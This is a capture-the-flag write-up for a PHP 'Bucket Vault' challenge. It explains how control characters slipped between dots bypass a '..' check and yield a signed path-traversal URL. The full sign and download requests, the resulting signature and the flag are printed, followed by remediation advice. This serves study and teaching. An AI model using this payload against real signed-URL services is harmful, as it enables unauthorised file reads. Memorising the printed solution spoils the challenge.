Huge props to NoobosaurusR3x, 3th1c_yuk1, and - gg to you all! 🎁 Your swag pack is on its way
The solution and the writeup provided were written by the hunter: 3th1c_yuk1_
Description
Bucket Vault implements a secure file storage system using pre-signed URLs with signatures. Generate time-limited access tokens for files stored in the vault, with built-in signature verification to ensure only authorized requests can retrieve protected content.
PoC
Description
Bucket Vault is a PHP-based file storage system implementing AWS S3-style pre-signed URLs using HMAC-SHA256 signatures. It allows users to:
- Sign a file path (restricted to the
public/prefix) to obtain a time-limited access token (expires+signature). - Download a file by presenting a valid
filename,expires, andsignature.
The goal is to read files/super_secret.txt, which is NOT in the public/ directory and therefore signing access to it is explicitly blocked.
The vulnerability arises from an asymmetry between where sanitizeFilename() is invoked during signing vs. where path traversal is validated: the sanitizer is called INSIDE generatePresignedUrl() after the security checks, meaning an attacker can smuggle control characters through the checks but have them stripped before HMAC computation, creating a signed token for a traversed path without ever triggering the .. guard.
Exploitation
The Security Checks (sign action)
1} elseif ($action === 'sign') {2 if (str_contains($filename, '..')) {3 $result = 'error';4 $error = 'Forbidden chars in filename.';5 } elseif (!str_starts_with($filename, 'public/')) {6 $result = 'error';7 $error = 'Access denied. Signing is restricted to the public/ prefix.';8 } else {9 $presigned = generatePresignedUrl($filename, AWS_SECRET_KEY, EXPIRES_IN);
The check str_contains($filename, '..') searches for two adjacent dots. It does NOT strip or normalize control characters before checking.
The Sanitizer (called inside signing function)
1function sanitizeFilename($filename) {2 return preg_replace('/[\x00-\x1F\x7F]/', '', $filename);3}45function generatePresignedUrl($file_path, $secret_key, $expires_in) {6 $file_path = sanitizeFilename($file_path); // sanitized AFTER security checks7 $timestamp = time() + $expires_in;8 $string_to_sign = "GET\n/files/{$file_path}\n{$timestamp}";9 $signature = base64_encode(hash_hmac('sha256', $string_to_sign, $secret_key, true));10 return ['expires' => $timestamp, 'signature' => $signature];11}
sanitizeFilename() removes bytes \x00-\x1F (control characters) and \x7F. This is called after the .. check, so the path used for HMAC signing is the sanitized (clean) path.
The Verifier (no sanitization)
1function verifySignature($filename, $expires, $signature, $secret_key) {2 if (time() > $expires) {3 return ['valid' => false, 'error' => 'Signature expired.'];4 }5 $string_to_sign = "GET\n/files/{$filename}\n{$expires}"; // raw, unsanitized6 $expected_signature = base64_encode(hash_hmac('sha256', $string_to_sign, $secret_key, true));7 if (!hash_equals($expected_signature, $signature)) {8 return ['valid' => false, 'error' => 'Invalid signature.'];9 }10 return ['valid' => true];11}
verifySignature() uses the filename as-is -- no sanitization is applied. This means verification expects the path that was actually signed (the post-sanitize path).
The root cause is a divergence in pathname processing between the sign and verify flows:
- Sign: security check (
str_contains($filename, '..')) -- Not sanitized, uses raw input for validation only - Sign: HMAC computation (
generatePresignedUrl()thensanitizeFilename()) -- Sanitized, HMAC uses clean path - Download: HMAC verification (
verifySignature()) -- Not sanitized, raw input path used for HMAC
Attack flow:
- Craft a filename containing control characters separating the dots in
.., sostr_contains($filename, '..')returnsfalsebecause there are no two adjacent dots. - After
sanitizeFilename()strips the control characters, the path becomes a valid../traversal string. - The HMAC is signed for the sanitized traversal path (e.g.,
public/../super_secret.txt). - On download, submit the clean traversal path
public/../super_secret.txt-- no control chars needed -- andverifySignature()computes the same HMAC -> signature matches. getFileContents("public/../super_secret.txt")resolves tofiles/super_secret.txt-> flag read.
PoC
Step 1: Generate a Presigned Token for the Traversed Path
Input fields (INPUTS tab):
action=signfilename=public/%01.%01./super_secret.txt(%01 = SOH byte, U+0001)expires= (empty)signature= (empty)
Explanation of the payload:
\x01is the SOH control character (byte 0x01)- The string
\x01.\x01.contains no adjacent dots --str_containsfor..returns false str_starts_with("public/...", "public/")returns true- After
sanitizeFilename()strips\x01:public/../super_secret.txt - HMAC signed for:
"GET\n/files/public/../super_secret.txt\n{timestamp}"
Via the Dojo API (equivalent HTTP request):
1POST /api/challenges/1aa1280d-e4af-4f3b-9159-3c227224a11f2Content-Type: application/x-www-form-urlencoded34action=sign&filename=public%2F%01.%01.%2Fsuper_secret.txt&expires=&signature=
Response:
1File Path: public/../super_secret.txt2Expires: 17746742743Signature: BdHlGd810u62/VDc0w19IzHIdyrPiKbkvXRcW0eV8PU=
Step 2: Download the Protected File Using the Obtained Token
Input fields:
action=downloadfilename=public/../super_secret.txtexpires=1774674274signature=BdHlGd810u62/VDc0w19IzHIdyrPiKbkvXRcW0eV8PU=
Via the Dojo API:
1POST /api/challenges/1aa1280d-e4af-4f3b-9159-3c227224a11f2Content-Type: application/x-www-form-urlencoded34action=download&filename=public%2F..%2Fsuper_secret.txt&expires=1774674274&signature=BdHlGd810u62%2FVDc0w19IzHIdyrPiKbkvXRcW0eV8PU%3D
Result:
1File Retrieved2Signature verified successfully34D0n7_l3t_M3_c0n7tr0l_F1l3n4m3!!
API response: "flagged": true
Flag: D0n7_l3t_M3_c0n7tr0l_F1l3n4m3!!
Risk
An unauthenticated attacker can read any file stored under the files/ directory -- including files explicitly protected from signing (i.e., files outside public/). The secret vault file files/super_secret.txt is fully readable. Since the path traversal allows arbitrary .. navigation, this could expose any file on the server filesystem that is readable by the PHP process.
Remediation
The core fix is to ensure sanitizeFilename() is called before any security checks, not after them. Additionally, use realpath() to canonicalize paths and enforce they remain within the allowed directory:
The general principle: always sanitize and normalize untrusted input before applying security checks, never after.



